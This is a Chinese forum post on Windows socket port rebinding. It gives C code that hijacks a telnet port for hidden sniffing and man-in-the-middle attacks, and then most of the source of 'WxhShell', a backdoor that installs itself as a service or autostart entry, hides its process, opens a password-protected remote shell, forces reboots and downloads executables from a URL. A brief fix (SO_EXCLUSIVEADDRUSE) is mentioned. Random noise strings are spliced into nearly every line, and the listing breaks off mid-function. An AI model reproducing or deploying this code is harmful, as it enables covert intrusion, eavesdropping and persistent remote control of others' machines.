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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n4T2'e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s^'#"`!v=  
M`pTT5r  
  saddr.sin_family = AF_INET; oHd0 <TO  
Prz +kPP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :k(t/*Nl3  
1'm`SRX#e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {<4?o? 1 g  
6@;L$QYY-V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _|wY[YJ[  
x~Ly$A2p  
  这意味着什么?意味着可以进行如下的攻击: 4eL54).1O  
1"B9Z6jf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @ZR4%A"X4  
8!Mzr1:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,xe@G)a  
%aE7id>v6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (`.qG &6p  
^1yTL5#:Vw  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <&EO=A  
"|r^l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s1 ^mk]  
pjs9b%.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c0Ro3j\p  
G|oB'~ {&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -L3 |9k  
A+1]Ql)$  
  #include ~K$"PK s3  
  #include 7  cP[o+  
  #include vJAAAS  
  #include    G[<[#$(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Sb9=$0%\  
  int main() f(s3TLM  
  { K-k.=6mS  
  WORD wVersionRequested; ],}afa!A  
  DWORD ret; wt=>{JM  
  WSADATA wsaData; E(3+o\w  
  BOOL val; &G|jzXE  
  SOCKADDR_IN saddr; YEPG[W<kg  
  SOCKADDR_IN scaddr; 5OW8G][  
  int err; b|8>eY  
  SOCKET s; ,#jhKnk2e  
  SOCKET sc; +9 p`D  
  int caddsize; 2|H91Y2  
  HANDLE mt; 9eN2)a/  
  DWORD tid;   VO;UV$$  
  wVersionRequested = MAKEWORD( 2, 2 ); |]!Ky[P  
  err = WSAStartup( wVersionRequested, &wsaData ); $x_52 j\j  
  if ( err != 0 ) { LVFsd6:h  
  printf("error!WSAStartup failed!\n"); uyRA`<&w  
  return -1; 7}tZ?vD  
  } t6g)3F7T  
  saddr.sin_family = AF_INET; w H_n$w  
   iraRB~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -=t3O#  
1QF*e'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .m]=JC5'  
  saddr.sin_port = htons(23); m`\i+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !k= 0X\5L  
  { @wdB%  
  printf("error!socket failed!\n"); n:^"[Le  
  return -1; zhX`~){N6  
  } HMS9y%zl/  
  val = TRUE; :OQ:@Yk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $,QpSK`9i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E4v_2Q -w  
  { #u<o EDQ  
  printf("error!setsockopt failed!\n"); 51ajE2+X&  
  return -1; ~Ri u*<  
  } 01{r^ZT`RH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?y*+^E0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6`4W,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y zBA{FE  
`k}l$ih`X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,8xP8T~Kmv  
  { kF+}.x%  
  ret=GetLastError(); BvZ^^IUb  
  printf("error!bind failed!\n"); <` p75B  
  return -1; oLqbR?  
  } 2htA7V*dD  
  listen(s,2); !,6v=n[Nz  
  while(1) .KU SNrs'  
  { n:bB$Ai2  
  caddsize = sizeof(scaddr); Zu0;/_rN  
  //接受连接请求 3b?OW7H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l@tyg7CwY  
  if(sc!=INVALID_SOCKET) MCi`TXr  
  { ^0s\/qyqm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J%\~<_2ny  
  if(mt==NULL) @`kiEg'Q  
  { +i`Q 7+d  
  printf("Thread Creat Failed!\n"); :<t{ =0G  
  break; 8G5) o`  
  } Nr]8P/[~  
  } yK&* ,J |  
  CloseHandle(mt); ANFg]g.Az  
  } NO+ 55n  
  closesocket(s); {n'qKur xY  
  WSACleanup(); GIRSoRVsh  
  return 0; /J[H5uA  
  }   =,AC%S_D~  
  DWORD WINAPI ClientThread(LPVOID lpParam) iO9nvM<  
  { hLyTUt~\L  
  SOCKET ss = (SOCKET)lpParam; WBw M;S#%  
  SOCKET sc; Q9yGQu  
  unsigned char buf[4096]; =~\]3g  
  SOCKADDR_IN saddr; W) 33;E/}  
  long num; K{ zCp6  
  DWORD val; 2GiUPtO&Gj  
  DWORD ret; FM9X}%5nu9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :PFx&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S7UZGGjTk  
  saddr.sin_family = AF_INET; ib(>vp$V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SvX=isu!.  
  saddr.sin_port = htons(23); &$b\=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TDAWI_83-  
  { a)_rka1(  
  printf("error!socket failed!\n"); q?imE~&U  
  return -1; 'n l RY5@2  
  } 7>'uj7r]=  
  val = 100; e' U"`)S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %Le:wC  
  { UK"}}nO@e  
  ret = GetLastError(); y^mWG1"O  
  return -1; b(}Gm@#  
  } ^nHB1"OCV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XDpfpJ,z"}  
  { n%0]V Xx#  
  ret = GetLastError(); }x kLD!  
  return -1; ?~aZ#%*i8  
  } $Wr\ [P:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |RR%bQ^{  
  { `%t$s,TiP  
  printf("error!socket connect failed!\n"); A$%Q4jC}  
  closesocket(sc); ]DC;+;8Jc  
  closesocket(ss); \);.0  
  return -1; VX^o"9Ntl  
  } 49+ >f  
  while(1) p{ @CoOn  
  { )YzHk ;(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XMN?;Hj>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6o=qJ`m[?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xH_A@hf;  
  num = recv(ss,buf,4096,0); ,&.W6sW  
  if(num>0) Z0 [)u_<  
  send(sc,buf,num,0); )%iRZ\`f  
  else if(num==0) JQ) 4}t  
  break; JkSdLj  
  num = recv(sc,buf,4096,0); yaH Trh%  
  if(num>0) >aEL;V=}P  
  send(ss,buf,num,0); G3RrjWtO  
  else if(num==0) dSOlD/c  
  break; )p$\gwr=2  
  } M11"<3]D  
  closesocket(ss); r-RCe3%g%  
  closesocket(sc); Ni2]6U  
  return 0 ; 9 z5"y|$  
  } ,c4c@|Bh?  
`6a]|7|f  
lpl8h4d  
========================================================== v!NB~"LQ  
uP{; *E3?  
下边附上一个代码,,WXhSHELL b!i`o%Vb  
e#>tM  
========================================================== T*h!d(  
D 4< -8  
#include "stdafx.h" )Vwj9WD  
S5i+vUI8C  
#include <stdio.h> n K+lE0  
#include <string.h> %&^Q(f  
#include <windows.h> R<f#r03@|  
#include <winsock2.h> 1&"-*)  
#include <winsvc.h> %ZujCZn  
#include <urlmon.h> Gs[Vu@*  
cCM j\H@  
#pragma comment (lib, "Ws2_32.lib") UdT&cG  
#pragma comment (lib, "urlmon.lib") /Zo~1q  
P3'2IzNw  
#define MAX_USER   100 // 最大客户端连接数 W8f`J2^"M  
#define BUF_SOCK   200 // sock buffer BJ~ ivT<  
#define KEY_BUFF   255 // 输入 buffer {5T0RL{\N  
+ $>N]1  
#define REBOOT     0   // 重启 G1}~.%J  
#define SHUTDOWN   1   // 关机 1#grB(p?  
w[ Axs8N'  
#define DEF_PORT   5000 // 监听端口 ,LhE shf  
-#hK|1]  
#define REG_LEN     16   // 注册表键长度 *;<e '[Y7f  
#define SVC_LEN     80   // NT服务名长度 2q)T y9  
yh S#&)O  
// 从dll定义API WK pUn8&N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /&CUspb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vy]A,Rn7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B,3 t`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9'1hjd3k  
A#<vG1  
// wxhshell配置信息 S8\+XJ  
struct WSCFG { `SCy<w3$+[  
  int ws_port;         // 监听端口 K!GUv{fp  
  char ws_passstr[REG_LEN]; // 口令 Z[Wlyb0  
  int ws_autoins;       // 安装标记, 1=yes 0=no |5W8Q|>%  
  char ws_regname[REG_LEN]; // 注册表键名 @4;&hP2Z:  
  char ws_svcname[REG_LEN]; // 服务名 XJe/tR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GGH;Z WSe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #C4|@7w%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :]'q#$!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d!o.ASL{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _*Pfp+if  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q/p(#/y#b  
IWQ&6SDW$z  
};  1Yud~[c  
cn$5:%IK  
// default Wxhshell configuration ji }#MBac  
struct WSCFG wscfg={DEF_PORT, C1 W>/?XC  
    "xuhuanlingzhe", d7E7f  
    1, djUihcqA`  
    "Wxhshell", *2`:VFEV  
    "Wxhshell", ^%;"[r  
            "WxhShell Service", [q'eEN G  
    "Wrsky Windows CmdShell Service", 5? Wg%@  
    "Please Input Your Password: ", cST\~SUm  
  1, !Q!&CG5l  
  "http://www.wrsky.com/wxhshell.exe", pDGT@qJ  
  "Wxhshell.exe" 3c b[RQf  
    }; =nzFd-P  
%*6RzJO6  
// 消息定义模块 V"O 9n[|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H.:9:I[n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L_^`k4ct  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cv= \g Z  
char *msg_ws_ext="\n\rExit."; EJ G2^DSS  
char *msg_ws_end="\n\rQuit."; /9pbnzn  
char *msg_ws_boot="\n\rReboot..."; z=qWJQ  
char *msg_ws_poff="\n\rShutdown..."; mmHJ h\2v  
char *msg_ws_down="\n\rSave to "; V~85oUc\-  
ZPl PN;J^1  
char *msg_ws_err="\n\rErr!"; Tw x{' S  
char *msg_ws_ok="\n\rOK!"; H<,bq*@  
`$at9  
char ExeFile[MAX_PATH]; okz]Qc>G  
int nUser = 0; EY~7oNfc`R  
HANDLE handles[MAX_USER]; >PIPp7C  
int OsIsNt; 8 }-7{  
"J& (:(:  
SERVICE_STATUS       serviceStatus; w,Q)@]_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &3I$8v|!?  
c}%es=@  
// 函数声明 Ah (iE  
int Install(void); X@!X6j  
int Uninstall(void); hfg O  
int DownloadFile(char *sURL, SOCKET wsh); (etUEb^}T  
int Boot(int flag); yw'ezpO"  
void HideProc(void); };rm3;~ eg  
int GetOsVer(void); )6=gooe]  
int Wxhshell(SOCKET wsl); wlrIgn%  
void TalkWithClient(void *cs); 7H%_sw5S.  
int CmdShell(SOCKET sock); ]U[&uymax  
int StartFromService(void); =5ug\S  
int StartWxhshell(LPSTR lpCmdLine); Wab.|\c  
8b7;\C~$p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eQ<xp A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M6_-f ;.  
12lEs3  
// 数据结构和表定义 4:U0f;Fs  
SERVICE_TABLE_ENTRY DispatchTable[] = dKm`14f]@G  
{ Aq"PG}Ic  
{wscfg.ws_svcname, NTServiceMain}, yX'IZk#_L  
{NULL, NULL} KaW~ERx5  
}; Rboof`pVt  
,Aj }]h\L  
// 自我安装 wu2:'y>n  
int Install(void) 'irGvex  
{ E_3r[1l  
  char svExeFile[MAX_PATH]; /'4Q{8.a  
  HKEY key; EjSD4  
  strcpy(svExeFile,ExeFile); yp p4L|R  
UfKkgq#  
// 如果是win9x系统,修改注册表设为自启动 =&2$/YX0D  
if(!OsIsNt) { ;g9%&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E?Cj/o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n+?-�  
  RegCloseKey(key); :_Fxy5}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hd 0Xx}3&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vv7PCaq  
  RegCloseKey(key); ufP Cx|x~  
  return 0; H* /&A9("  
    } ({e7U17[#  
  } ,eXFN?CB  
} (@q3^)I4  
else { )[jy[[K(  
)~}PgbZ^  
// 如果是NT以上系统,安装为系统服务 nLJBq)i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K2HvI7$-  
if (schSCManager!=0) ;& ~929  
{ !BUi)mo  
  SC_HANDLE schService = CreateService BI.V0@qZ  
  ( A$@o'Q;he  
  schSCManager, m gVML&^  
  wscfg.ws_svcname, ?E7=:h(@t  
  wscfg.ws_svcdisp, o?wt$j-  
  SERVICE_ALL_ACCESS, l3p3tT3+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kOipH |.x  
  SERVICE_AUTO_START, U:n*<l-k}  
  SERVICE_ERROR_NORMAL, Ek ZjO Ci  
  svExeFile, K]<u8eF  
  NULL, zQc"bcif5(  
  NULL, k 4B_W  
  NULL, OQFi.  8  
  NULL, a5?A!k\2  
  NULL B {aU;{1  
  ); Cs4hgb|  
  if (schService!=0) h0Jl_f#Y  
  { lw[<STpD;  
  CloseServiceHandle(schService); ([KN*OF  
  CloseServiceHandle(schSCManager); XG&K32_fs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fY_%33_I$  
  strcat(svExeFile,wscfg.ws_svcname); TwFb%YM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z`s!dV]e9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c~+l-GIWm  
  RegCloseKey(key); "w&/m}E,[  
  return 0; O]{*(J/t  
    } gxmc|  
  } oZ:{@ =  
  CloseServiceHandle(schSCManager); ?Y3@"rdR  
} m}5q]N";x  
} i&&qbZt  
5UO k)rOf  
return 1; e$wt&^W  
} Uh}X<d/V  
XLb0 9;  
// 自我卸载 tjxvN 4l  
int Uninstall(void) C:GvP>  
{ Qq3fZ=  
  HKEY key; `6F +Rrn  
G{o+R]Us  
if(!OsIsNt) { z+/LS5$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yX! #a>d"H  
  RegDeleteValue(key,wscfg.ws_regname); (Es{la G  
  RegCloseKey(key); /U*yw5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ETp'oh}?  
  RegDeleteValue(key,wscfg.ws_regname); rk,p!}FqL  
  RegCloseKey(key); H]Wp%"L  
  return 0;  $Nu)E  
  } ^i`*Wm@!  
} h|p[OecG  
} R 1'`F{56  
else { |zpx)8Q  
:;4SQN{2 O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uV~e|X "9s  
if (schSCManager!=0) :woa&(wN;1  
{ <Wy>^<`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~NNv>5 t5  
  if (schService!=0)  %+wF"  
  { hhmGv9P  
  if(DeleteService(schService)!=0) { 2-v\3voN  
  CloseServiceHandle(schService); @^? XaU  
  CloseServiceHandle(schSCManager); YwAnqAg  
  return 0; kon=il<@  
  } Ei~f`{i  
  CloseServiceHandle(schService); 'qy#)F  
  } 7lU.Ni t  
  CloseServiceHandle(schSCManager); ow.j+ <M  
} oT3Y!Y3=<  
} #C\4/g? =,  
|+NuYz?  
return 1; K"l0w**Og#  
} /2@["*^$  
4;*f1_;f~  
// 从指定url下载文件 %-j&e44  
int DownloadFile(char *sURL, SOCKET wsh) gj+3y9  
{ L'9N9CR{i  
  HRESULT hr; *IZf^-=Q  
char seps[]= "/"; HarFE4V  
char *token; R0<< f]  
char *file; <v$QM;Ff  
char myURL[MAX_PATH]; s, XM9h>P4  
char myFILE[MAX_PATH]; Y8ehmz|g]J  
H06Bj(Y!  
strcpy(myURL,sURL); A}G|Yfn  
  token=strtok(myURL,seps); Nn#u%xvJt  
  while(token!=NULL) 9#rt:&xo0  
  { FFe) e>bH  
    file=token; SLoo:)  
  token=strtok(NULL,seps); rAXX}"l6s  
  } Q6^x8  
g-@h>$< 1  
GetCurrentDirectory(MAX_PATH,myFILE); ~HDdO3  
strcat(myFILE, "\\");  r(`nt-o@  
strcat(myFILE, file); 7& 6Y  
  send(wsh,myFILE,strlen(myFILE),0); _/ Os^>R  
send(wsh,"...",3,0); >. LKct*5K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l`gTU?<xd  
  if(hr==S_OK) ]}LGbv"`A  
return 0; xjq0D[  
else VzwPBQ -  
return 1; @2' %o<lF  
(ZPXdr  
} 7ZFJexN]  
o4)hxs  
// 系统电源模块 TnE+[.Qu  
int Boot(int flag) /F~X,lm*~  
{ +R[4\ hC0Y  
  HANDLE hToken; J_xG}d  
  TOKEN_PRIVILEGES tkp; #@Y/{[s|@  
2k1aX~?  
  if(OsIsNt) { QnKC#   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _Bk U+=|J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )saR0{e0N  
    tkp.PrivilegeCount = 1; Q$=*aUU%G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }<[Db}?9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +LzovC@^  
if(flag==REBOOT) { LSkk;)'2K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XDLEVSly7  
  return 0; c> G@+  
} -G b-^G  
else { ?~F. /  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9L)L|4A.l  
  return 0; fp&Got!pB  
} h~miP7,c<u  
  } $TG?4  
  else { 'sU)|W(3U  
if(flag==REBOOT) { &" h]y?Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "mZ.V  
  return 0; ?R6`qe_F  
} 0BTLcEqgZ  
else { ,Y!zORv<7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (pYYkR"  
  return 0; 9]$`)wZ  
} PXEKV0y  
} V5 MO}  
6Rz[?-mkLO  
return 1; c8ZCs?   
} 8H $#+^lW  
JTUNb'#RZ  
// win9x进程隐藏模块 lrys3  
void HideProc(void) xm^95}80yh  
{ h%1Y6$  
+ld;k/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hed$ytMaGz  
  if ( hKernel != NULL ) 9<cOYY  
  { K{L.ZH>7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z?1OdoT-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "# S>I8d  
    FreeLibrary(hKernel); e@jfIF0=}  
  } _D-Riu>#J  
m6U8)!)T  
return; 5"=:#zN  
} =`p&h}h-L  
r_2b tpL^  
// 获取操作系统版本 Y'N'hRD  
int GetOsVer(void) {;k_!v{  
{ (cs~@  
  OSVERSIONINFO winfo; K`4GU[ul  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X8CVY0<o  
  GetVersionEx(&winfo); h4 vm{ho  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~:2K#q5C  
  return 1; #nEL~&  
  else \A(5;ZnuD  
  return 0; 3k{ @.V ?]  
} .#!mDlY;  
yGEb7I$h  
// 客户端句柄模块 9X]f[^  
int Wxhshell(SOCKET wsl) D/s?i[lb  
{ MsjnRX:c3u  
  SOCKET wsh; #&siHHs \  
  struct sockaddr_in client; zilaP)5x6  
  DWORD myID; &O tAAE  
\"d?=uFe  
  while(nUser<MAX_USER) n\ Uh  
{ Z[} $n-V  
  int nSize=sizeof(client); n\= (S9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4VFc|g  
  if(wsh==INVALID_SOCKET) return 1; OCW+?B;  
Qp!J:YV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o}~3JBn T  
if(handles[nUser]==0) yWHne~!  
  closesocket(wsh); sXB+s  
else V2Y$yV8g1  
  nUser++; mo9$NGM&}  
  } ;0j*>fb\q7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k/#>S*Ne  
3h&bZ  
  return 0; !6E:5=L^  
} d@>\E/zA  
}ywi"k4>  
// 关闭 socket %F5 =n"  
void CloseIt(SOCKET wsh) ,so4Lb(vG  
{ !}q."%%J_%  
closesocket(wsh); rzV"Dm$'  
nUser--; 7bT /KLU  
ExitThread(0); J@` 8(\(  
} DHzkRCM  
7;xKy'B\  
// 客户端请求句柄 q\H7& w  
void TalkWithClient(void *cs) z!CD6W1n  
{ -N z}DW>  
t w!.%_1^  
  SOCKET wsh=(SOCKET)cs; :t>Q:mX(N  
  char pwd[SVC_LEN]; }17bV, t  
  char cmd[KEY_BUFF]; m!Af LSlwm  
char chr[1]; Z| L2oc e  
int i,j; FpdHnu i1  
}vD;DSz:  
  while (nUser < MAX_USER) { GP]TnQ<*;  
o+^Eu}[.  
if(wscfg.ws_passstr) { vYzVY\   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,n5a])Dg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h,]+>`b  
  //ZeroMemory(pwd,KEY_BUFF); xjrlc9  
      i=0; A& =pw#  
  while(i<SVC_LEN) { stXda@y<p  
o<J5!  
  // 设置超时 W5I=X] &  
  fd_set FdRead; \`gEu{  
  struct timeval TimeOut; iGa}3pF  
  FD_ZERO(&FdRead); s3< F  
  FD_SET(wsh,&FdRead); sVoR?peQ  
  TimeOut.tv_sec=8; : ;TYL[  
  TimeOut.tv_usec=0; ]xrD<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); " $=qGHA~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (}0S1)7t  
?9S+Cj`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `[@VxGy_  
  pwd=chr[0]; yFO)<GLk  
  if(chr[0]==0xd || chr[0]==0xa) { +2y&B,L_Wh  
  pwd=0; [<Jp#&u6sb  
  break; f".q9{+p,  
  } ue9h   
  i++; J)huy\>,  
    } qUg9$oh{LI  
_ n_sfT6)B  
  // 如果是非法用户,关闭 socket |."G?*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h0XH`v  
} Bb_Q_<DTs  
LP?P=c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _H2tZ%RM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6$(0Ty  
h--45`cE  
while(1) { ucM.Ro=@  
~o Fh>9u  
  ZeroMemory(cmd,KEY_BUFF); eP?~- #  
%`oHemSy  
      // 自动支持客户端 telnet标准   0BDoBR  
  j=0; s7M}NA 0  
  while(j<KEY_BUFF) { j"6:A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >KHp-|0pv  
  cmd[j]=chr[0]; ,-:a?#f>  
  if(chr[0]==0xa || chr[0]==0xd) { P57GqT  
  cmd[j]=0; m9Il\PoTq  
  break; :iEAUM  
  } 9'X@@6b*'  
  j++; _XWnS9  
    } <S{7Ro  
e?1KbJ?.  
  // 下载文件 m0C{SBn-M  
  if(strstr(cmd,"http://")) { 0@v 2*\D#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D&f!( n  
  if(DownloadFile(cmd,wsh)) QE*%HR'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x97H(*  
  else wo]ks}9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9.]kOs_  
  } `fMpV8vv  
  else { _G[6+g5|  
 `~h0?g  
    switch(cmd[0]) { ;L$,gn5H  
  d.I%k1`(  
  // 帮助 vlAy!:CV  
  case '?': { UeNF^6sWu0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L5&K}F]r^  
    break; TR?Bvy2s:g  
  } FR(QFt!g  
  // 安装 w_!%'9m>  
  case 'i': { /]g>#J%b  
    if(Install()) S%{lJYwXt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UI_v3c3b  
    else /D8EI   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qZP:@r"  
    break; _1\poAy  
    } ?ff [$ab  
  // 卸载 G1TANy  
  case 'r': { LGXZx}4@;  
    if(Uninstall()) 1Df, a#,y"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cPSti  
    else pSXEJ 2k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?F25D2[(  
    break; eN4t1 $  
    } -zR.'x%  
  // 显示 wxhshell 所在路径 g kn)V~ij  
  case 'p': { p_;r%o=  
    char svExeFile[MAX_PATH]; )Z&HuEg{ZR  
    strcpy(svExeFile,"\n\r"); w?i)/q  
      strcat(svExeFile,ExeFile); :S#i9# aB  
        send(wsh,svExeFile,strlen(svExeFile),0); }q]jjs  
    break; K,]woNxaw  
    } r\B"?oqC  
  // 重启 .}`V I`z*  
  case 'b': { h*l cEzG?A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N|o> %)R  
    if(Boot(REBOOT)) ;)P5#S!n-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "5 y<G:$+~  
    else { Zq^^|[)bA  
    closesocket(wsh); C&e8a9*,(a  
    ExitThread(0); ?o8a_9+  
    } :Nkz,R?  
    break; &D^e<j}RQ  
